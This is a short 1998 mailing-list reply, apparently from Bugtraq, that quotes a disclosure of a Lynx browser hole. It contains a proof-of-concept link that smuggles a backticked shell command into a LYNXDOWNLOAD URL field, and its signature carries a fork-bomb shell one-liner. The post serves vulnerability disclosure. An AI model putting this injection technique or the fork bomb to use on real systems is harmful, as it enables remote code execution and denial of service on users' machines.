ftp://ftp.cert.org/pub/cert_bulletins/VB-97.06.lynx
also there is discussion of this if you search the bugtraq archives.
dynamo
On Tue, 17 Mar 1998, Michal Zalewski wrote:
> While poking around lynx protocol handling routines, I found this very
> big, ugly remote hole:
>
> <a href="LYNXDOWNLOAD://Method=-1/File=`touch%20UGLY_BUG`/SugFile=test">
> CLICK HERE
> </a>
>
> It allows remote execution of any code on viewer's machine. Also, by
> setting 'Method' field to 0 or more, you may crash lynx, but it isn't so
> exciting as above URL. Also, it's possible to parse /dev/zero as 'File',
> also not funny.
>
> Greetings,
> _______________________________________________________________________
> Michal Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
> Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deustch]
> =--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=
>